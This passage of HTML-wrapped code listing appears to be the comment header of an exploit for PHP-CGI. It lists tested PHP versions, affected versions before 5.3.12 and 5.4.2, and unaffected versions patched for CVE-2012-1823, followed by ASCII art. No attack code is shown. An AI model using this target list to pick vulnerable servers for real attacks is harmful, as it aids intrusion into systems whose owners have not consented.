<DIV class="line number25 index24 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP 5.3.10</DIV>

<DIV class="line number26 index25 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP 5.3.8-1</DIV>

<DIV class="line number27 index26 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP 5.3.6-13</DIV>

<DIV class="line number28 index27 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP 5.3.3</DIV>

<DIV class="line number29 index28 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP 5.2.17</DIV>

<DIV class="line number30 index29 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP 5.2.11</DIV>

<DIV class="line number31 index30 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP 5.2.6-3</DIV>

<DIV class="line number32 index31 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP 5.2.6+lenny16 with Suhosin-Patch</DIV>

<DIV class="line number33 index32 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">Affected versions</DIV>

<DIV class="line number34 index33 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP prior to 5.3.12</DIV>

<DIV class="line number35 index34 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP prior to 5.4.2</DIV>

<DIV class="line number36 index35 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">Unaffected versions</DIV>

<DIV class="line number37 index36 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP 4 - getopt parser unexploitable</DIV>

<DIV class="line number38 index37 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP 5.3.12 and up</DIV>

<DIV class="line number39 index38 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">PHP 5.4.2 and up</DIV>

<DIV class="line number40 index39 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">Unaffected versions are patched by CVE-2012-1823.</DIV>

<DIV class="line number41 index40 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">*/</DIV>

<DIV class="line number42 index41 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">/*&nbsp;&nbsp;&nbsp; .</DIV>

<DIV class="line number43 index42 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/'\rrq rk</DIV>

<DIV class="line number44 index43 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;.&nbsp; // \\&nbsp; .</DIV>

<DIV class="line number45 index44 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">.x.//fco\\-|-</DIV>

<DIV class="line number46 index45 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;'//cmtco\\zt</DIV>

<DIV class="line number47 index46 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;//6meqrg.\\tq</DIV>

<DIV class="line number48 index47 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">//_________\\'</DIV>

<DIV class="line number49 index48 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">EJPGQO</DIV>

